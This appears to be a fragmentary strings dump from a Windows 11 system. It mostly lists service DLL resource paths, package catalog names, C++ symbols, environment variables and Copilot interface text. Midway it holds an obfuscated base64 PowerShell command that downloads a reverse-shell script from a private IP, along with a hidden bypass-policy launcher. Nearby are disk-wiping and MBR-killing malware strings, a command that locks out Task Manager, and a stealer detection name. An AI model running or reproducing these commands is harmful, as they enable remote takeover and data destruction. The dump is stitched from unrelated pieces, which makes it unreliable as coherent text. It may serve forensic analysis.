@%SystemRoot%\system32\diagtrack.dll,-3002
@%SystemRoot%\system32\DialogBlockingService.dll,-101
@%SystemRoot%\system32\dispbroker.desktop.dll,-102
@%SystemRoot%\System32\Microsoft.Graphics.Display.DisplayEnhancementService.dll,-1001
@%systemroot%\system32\Windows.Internal.Management.dll,-101
@%SystemRoot%\system32\dmwappushsvc.dll,-201
@%SystemRoot%\System32\dnsapi.dll,-102
@%systemroot%\system32\dosvc.dll,-101
@%systemroot%\system32\dot3svc.dll,-1103@
@%systemroot%\system32\dps.dll,-501
@%SystemRoot%\system32\DeviceSetupManager.dll,-1001
@%SystemRoot%\system32\GraphicsPerfSvc.dll,-101
@%SystemRoot%\System32\hidserv.dll,-102
@%SystemRoot%\system32\hpatchmon.dll,-101
@%SystemRoot%\system32\hvhostsvc.dll,-101
@%SystemRoot%\System32\tetheringservice.dll,-4098
@%SystemRoot%\system32\ikeext.dll,-502
@%SystemRoot%\system32\InstallService.dll,-201
@%SystemRoot%\system32\inventorysvc.dll,-502
@%SystemRoot%\system32\iphlpsvc.dll,-501H
@%Systemroot%\system32\ipxlatcfg.dll,-501
@%systemroot%\system32\srvsvc.dll,-101
@%systemroot%\system32\wkssvc.dll,-101
@%SystemRoot%\System32\lfsvc.dll,-2
@%SystemRoot%\system32\licensemanagersvc.dll,-201
@%SystemRoot%\system32\lltdres.dll,-2
@%SystemRoot%\system32\lmhsvc.dll,-102
@%SystemRoot%\System32\localkdcsvc.dll,-2
@%windir%\system32\lsm.dll,-1002
@%SystemRoot%\system32\LanguageOverlayServer.dll,-101
@%SystemRoot%\System32\moshost.dll,-101
@%SystemRoot%\System32\mcmsvc.dll,-258
@%SystemRoot%\system32\McpManagementService.dll,-101
@%systemroot%\system32\midisrv.exe,-102
@%SystemRoot%\system32\FirewallAPI.dll,-23091
@%SystemRoot%\system32\iscsidsc.dll,-5001
@%SystemRoot%\system32\msimsg.dll,-32
@%SystemRoot%\system32\KeyboardFilterSvc.dll,-102
@%systemroot%\system32\NaturalAuth.dll,-101
@%SystemRoot%\system32\ncasvc.dll,-3008
@%SystemRoot%\system32\ncbservice.dll,-501
@%SystemRoot%\system32\NcdAutoSetup.dll,-101
@%SystemRoot%\System32\netlogon.dll,-103@
@%SystemRoot%\system32\netman.dll,-110
@%SystemRoot%\system32\netprofmsvc.dll,-203
@%SystemRoot%\system32\NetSetupSvc.dll,-4
@%SystemRoot%\System32\NgcCtnrSvc.dll,-2@
@%SystemRoot%\System32\ngcsvc.dll,-101
@%SystemRoot%\system32\netprofmsvc.dll,-209
@%SystemRoot%\system32\nsisvc.dll,-201
@%SystemRoot%\system32\pcasvc.dll,-2
@%SystemRoot%\system32\peerdistsvc.dll,-9001
@%systemroot%\system32\PerceptionSimulation\PerceptionSimulationService.exe,-102
@%SystemRoot%\system32\PhoneserviceRes.dll,-10001
@%systemroot%\system32\pla.dll,-501
@%SystemRoot%\system32\polstore.dll,-5011
@%SystemRoot%\system32\umpo.dll,-101
@%SystemRoot%\system32\PrintDeviceConfigurationService.dll,-4
@C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll,-2
@%SystemRoot%\system32\PrintScanBrokerService.dll,-101
@%systemroot%\system32\profsvc.dll,-301
@%SystemRoot%\system32\pushtoinstall.dll,-201
@%SystemRoot%\system32\qwave.dll,-2
@%Systemroot%\system32\rasauto.dll,-201
@%Systemroot%\system32\rasmans.dll,-201
@%SystemRoot%\System32\ScDeviceEnum.dll,-101
@%SystemRoot%\system32\schedsvc.dll,-101
@%SystemRoot%\System32\SEMgrSvc.dll,-1002
@%SystemRoot%\system32\Sens.dll,-201
@%ProgramFiles%\Windows Defender Advanced Threat Protection\MsSense.exe,-1002i
@%SystemRoot%\system32\SensorDataService.exe,-102
@%SystemRoot%\System32\sensorservice.dll,-1001
@%SystemRoot%\System32\sensrsvc.dll,-1001
@%SystemRoot%\System32\SessEnv.dll,-1027
@%SystemRoot%\System32\certprop.dll,-14
@%SystemRoot%\system32\sdrsvc.dll,-102
@%SystemRoot%\system32\seclogon.dll,-7000
@%systemroot%\system32\SecurityHealthAgent.dll,-1001
@%SystemRoot%\system32\ipnathlp.dll,-107 
@%SystemRoot%\System32\shsvcs.dll,-12289p
@%SystemRoot%\System32\Windows.SharedPC.AccountManager.dll,-101
@%SystemRoot%\System32\smphost.dll,-101
@%SystemRoot%\System32\SmsRouterSvc.dll,-10002
@%SystemRoot%\system32\PrintWorkflowService.dll,-101
@%SystemRoot%\system32\windowsudkservices.shellcommon.dll,-101
@%SystemRoot%\system32\UserDataAccessRes.dll,-10002
@%SystemRoot%\system32\UserDataAccessRes.dll,-14000
cL@C:\Windows\System32\Windows.UI.Immersive.dll,-38304 
@%systemroot%\system32\spoolsv.exe,-2
@%SystemRoot%\system32\sppsvc.exe,-100
@%systemroot%\system32\ssdpsrv.dll,-101
@%SystemRoot%\system32\sstpsvc.dll,-201
@%SystemRoot%\system32\windows.staterepository.dll,-2
@%SystemRoot%\system32\wiaservc.dll,-10
@%SystemRoot%\System32\StorSvc.dll,-101
@%SystemRoot%\system32\svsvc.dll,-102h
@%SystemRoot%\System32\swprv.dll,-102
@%SystemRoot%\system32\sysmain.dll,-1001p
@%windir%\system32\SystemEventsBrokerServer.dll,-10023
@%SystemRoot%\system32\tapisrv.dll,-10101
@%SystemRoot%\System32\termsrv.dll,-267
@%SystemRoot%\system32\TabSvc.dll,-101
@%SystemRoot%\System32\themeservice.dll,-8193
@%SystemRoot%\system32\TieringEngineService.exe,-701
@%windir%\system32\TimeBrokerServer.dll,-1002
@%systemroot%\system32\tokenbroker.dll,-101
@%SystemRoot%\system32\trkwks.dll,-2
@%SystemRoot%\system32\MitigationClient.dll,-104x
@%SystemRoot%\system32\tzautoupdate.dll,-201
@%systemroot%\system32\AgentService.exe,-101
@%SystemRoot%\system32\umrdp.dll,-1001
@%systemroot%\system32\upnphost.dll,-214
@%systemroot%\system32\usermgr.dll,-101
@%systemroot%\system32\usosvc.dll,-102
@%SystemRoot%\system32\vaultsvc.dll,-1004
@%SystemRoot%\system32\vds.exe,-112
@%systemroot%\system32\icsvc.dll,-802
@%systemroot%\system32\icsvc.dll,-102
@%systemroot%\system32\icsvc.dll,-202
@%systemroot%\system32\icsvcext.dll,-602
@%systemroot%\system32\icsvc.dll,-302
@%systemroot%\system32\icsvc.dll,-402
@%systemroot%\system32\icsvc.dll,-902
@%systemroot%\system32\icsvcvss.dll,-102
@%systemroot%\system32\vssvc.exe,-101
@%SystemRoot%\system32\w32time.dll,-201
@%SystemRoot%\System32\WalletService.dll,-1001
@%SystemRoot%\System32\Windows.WARP.JITService.dll,-101
@%systemroot%\system32\wbengine.exe,-105@
@%systemroot%\system32\wbiosrvc.dll,-101
@%SystemRoot%\System32\wcmsvc.dll,-4098
@%SystemRoot%\system32\wcncsvc.dll,-4
@%systemroot%\system32\wdi.dll,-503
@%systemroot%\system32\wdi.dll,-501
@%systemroot%\system32\webclnt.dll,-101
@%systemroot%\system32\webthreatdefsvc.dll,-101
@%SystemRoot%\system32\wecsvc.dll,-201
@%systemroot%\system32\wephostsvc.dll,-101
@%SystemRoot%\System32\wercplsupport.dll,-100
@%SystemRoot%\System32\wersvc.dll,-101
@%SystemRoot%\System32\wfdsconmgrsvc.dll,-9001
@%SystemRoot%\system32\whesvc.dll,-101
@%SystemRoot%\system32\wiarpc.dll,-1
@%SystemRoot%\system32\winhttp.dll,-101
@%Systemroot%\system32\wbem\wmisvc.dll,-204
@%Systemroot%\system32\wsmsvc.dll,-102
@%SystemRoot%\system32\flightsettings.dll,-104
@%SystemRoot%\System32\wlansvc.dll,-258
@%SystemRoot%\system32\wlidsvc.dll,-101
@%SystemRoot%\system32\lpasvc.dll,-1001
@%systemroot%\system32\Windows.Management.Service.dll,-101
@%Systemroot%\system32\wbem\wmiapsrv.exe,-111
@%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-102
@%systemroot%\system32\workfolderssvc.dll,-101
@%systemroot%\system32\WpcRefreshTask.dll,-101
@%SystemRoot%\system32\wpdbusenum.dll,-101
@%SystemRoot%\system32\wpnservice.dll,-2@
@%systemroot%\system32\WSAIFabricHost.dll,-103
@%SystemRoot%\System32\wscsvc.dll,-201
@%systemroot%\system32\SearchIndexer.exe,-104
@%systemroot%\system32\wuaueng.dll,-106
@%SystemRoot%\system32\APHostRes.dll,-10001
@%systemroot%\system32\p9rdrservice.dll,-101
@%SystemRoot%\system32\PenService.dll,-101
@%SystemRoot%\system32\UserDataAccessRes.dll,-15000
@%SystemRoot%\System32\Microsoft.Data.UsageAndQualityInsights.dll,-101
@%SystemRoot%\System32\wwansvc.dll,-258
@%systemroot%\system32\XblAuthManager.dll,-101
@%systemroot%\system32\XblGameSave.dll,-101
@%systemroot%\system32\xboxgipsvc.dll,-101
@%systemroot%\system32\XboxNetApiSvc.dll,-101
@%SystemRoot%\System32\zthelper.dll,-101
@%SystemRoot%\system32\AarSvc.dll,-101
@%SystemRoot%\system32\BcastDVRUserService.dll,-101
@%SystemRoot%\system32\Microsoft.Bluetooth.UserService.dll,-102
@%SystemRoot%\system32\CaptureService.dll,-101
@%SystemRoot%\system32\cbdhsvc.dll,-101
@%SystemRoot%\system32\cdpusersvc.dll,-101
@%SystemRoot%\system32\CloudRestoreLauncher.dll,-101
@%SystemRoot%\system32\ConsentUxClient.dll,-101
@%SystemRoot%\system32\CredentialEnrollmentManager.exe,-101
@%SystemRoot%\system32\deviceaccess.dll,-108
@%SystemRoot%\system32\Windows.Devices.Picker.dll,-1007
@%SystemRoot%\system32\DevicesFlowBroker.dll,-104
@%SystemRoot%\system32\MessagingService.dll,-101
@%SystemRoot%\system32\npsm.dll,-101
@%systemroot%\system32\webthreatdefusersvc.dll,-101
@%SystemRoot%\system32\WpnUserService.dll,-2
Microsoft.Windows.PushToInstall
https://wns2-ln2p.notify.windows.com/?token=AwYAAADYVW0F1pS8XMqIyOiwxBbFSLoXKQHaL1YlCzphP2m7NNo2CiRGFvR5niPvLeP6Vq070gtU3%2fnkF4TddUSSM9a55F9ekDJNgnv%2bxDq6i7GrHwaftSSrzf1z9iYo1zRxpIY%3d
@C:\WINDOWS\System32\ieframe.dll,-12385
@%SystemRoot%\System32\authFWGP.dll,-21
@%windir%\system32\miguiresource.dll,-202
@%systemroot%\system32\Msinfo32.exe,-130h
@%systemroot%\system32\RecoveryDrive.exe,-600
@%systemroot%\system32\pmcsnap.dll,-710
@%systemroot%\system32\Wdc.dll,-10025
@%windir%\system32\odbcint.dll,-1312
@%systemroot%\system32\odbcint.dll,-1312X
@%windir%\system32\MdSched.exe,-4002@
@%windir%\system32\iscsicpl.dll,-5002
@%windir%\system32\miguiresource.dll,-102
@%systemroot%\system32\dfrgui.exe,-172
@%systemroot%\system32\mycomput.dll,-112
@%systemroot%\system32\comres.dll,-3411
@%systemroot%\system32\Taskmgr.exe,-33551D
@%SystemRoot%\System32\psr.exe,-1702
@C:\WINDOWS\system32\mstsc.exe,-4000`
@%windir%\system32\mstsc.exe,-4001
@%systemroot%\system32\msconfig.exe,-6001u
@%systemroot%\system32\Filemgmt.dll,-602h
@%systemroot%\system32\wdc.dll,-10031
Microsoft.Windows.OneCoreTransforms
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.HideUI
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.UpdateUI
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.ShowUI
Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package041520~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft.Windows.Kernel.Dump
bb^windows.desktopAppMigr
bb^windows.fileExplorerContextMenusx
*.wns.windows.com0
*.wns.windows.com0
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsCreateStringReference
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsDeleteString
WindowsPreallocateStringBuffer
WindowsGetStringRawBuffer
cABvAHcAZQByAHMAaABlAGwAbAAgAC0ARQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADAALgAyADoAOAAwAC8AcgBlAHYAXwBzAGgAZQBsAGwALgB0AHgAdAAnACkApowershell -nop -exec bypass -w hidden -eC:\WINDOWS\system32\cmd.exe /c
/killwindows/KillHardDisk/killMBR/autoupSuper-VirusCacls C:\windows\system32\taskmgr.exe /t /e /c /g
(base64decode(pieces[2]))};if(iswindows()){S
gHTTP.SetRequestHeader("User-Agent"," ( " OSName " | " bit " | " CPUNAmeWindowSpy.ahk!#TEL:Trojan:Win32/Lummastealer.A!MTB
8C:\Windows\system32\eventvwr.mscC
WindowsCreateSK
      <Color Name="ToolWindowShelf">
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
COMPUTERNAME=WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
aml@UI@Windows@winrt@@UCompositionPropertySet@Composition@678@@Z
?TransferProperties@ControlViewManager@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?TransferProperties@FrameworkElementViewManager@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?TransferProperties@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?VerticalAlignmentFrom@ReactNative@Microsoft@@YA?AW4VerticalAlignment@Xaml@UI@Windows@winrt@@AEBUdynamic@folly@@@Z
WindowsCompareStringOrdinal
GetWindowsDirectoryW
WindowsConcatString
WindowsSubstringWithSpecifiedLength
Microsoft.Windows.Search.Indexer
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.Shell.HardwareRequirements
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Search.Indexer.Diagnostics
Microsoft.Windows.Search.Indexer.Aggregated.Medium
Microsoft.Windows.Search.Indexer.Aggregated.High
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Search.Indexer.Aggregated.Low
Microsoft.Windows.Search.Indexer.Aggregated.Normal
Microsoft.Windows.Search.Indexer.WorkAttribution
Microsoft.Windows.Search.Indexer.SemanticSearch.Aggregated
auto __cdecl winrt::impl::consume_Windows_Data_Json_IJsonValueStatics<struct winrt::Windows::Data::Json::IJsonValueStatics>::CreateStringValue(const struct winrt::param::hstring &) const
struct winrt::Windows::Data::Json::JsonObject __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Data::Json::JsonObject>(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Foundation.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Data.Json.h
struct winrt::Windows::Foundation::IActivationFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::Foundation::IActivationFactory>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundExecutionManagerStatics<struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics>::RequestAccessAsync(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundExecutionManagerStatics<struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics>::GetAccessStatus(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskRegistrationStatics<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistrationStatics>::AllTasks(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_ISystemTriggerFactory<struct winrt::Windows::ApplicationModel::Background::ISystemTriggerFactory>::Create(const enum winrt::Windows::ApplicationModel::Background::SystemTriggerType &,bool) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_ITimeTriggerFactory<struct winrt::Windows::ApplicationModel::Background::ITimeTriggerFactory>::Create(unsigned int,bool) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::Name(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::TaskEntryPoint(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::SetTrigger(const struct winrt::Windows::ApplicationModel::Background::IBackgroundTrigger &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::Register(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterable<struct winrt::Windows::Foundation::Collections::IMapView<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::First(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterator<struct winrt::Windows::Foundation::Collections::IIterator<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::Appc
ext-ms-win-ntuser-windowstation-l1-1-0.dll
QWindowsFile
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840-Paint-Completed');
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsBuiltInRole
.?AU?$DelegateInvokeHelper@U?$ITypedEventHandler@PEAVRadio@Radios@Devices@Windows@@PEAUIInspectable@@@Foundation@Windows@@V<lambda_4fc33d7cc113251634221a4df16fab0b>@@$0?0PEAUIRadio@Radios@Devices@3@PEAUIInspectable@@@?$DelegateArgTraits@P8?$ITypedEventHandler_impl@U?$AggregateType@PEAVRadio@Radios@Devices@Windows@@PEAUIRadio@234@@Internal@Foundation@Windows@@PEAUIInspectable@@@Foundation@Windows@@EAAJPEAUIRadio@Radios@Devices@3@PEAUIInspectable@@@Z@Details@WRL@Microsoft@@
WindowsCreateS
6hLua:FirstFolder1!windows
,3ILua:LastFolder3!windows
Lua:LastFolder0!system32
WindowsDuplicateString
WindowsGetStringLen
Microsoft-Windows-Audit-CVE
Microsoft-Windows-BitL
/run /tn \microsoft\windows\disk
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
pNGPROFILE=Windows11
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
e@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UAppHistoryPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
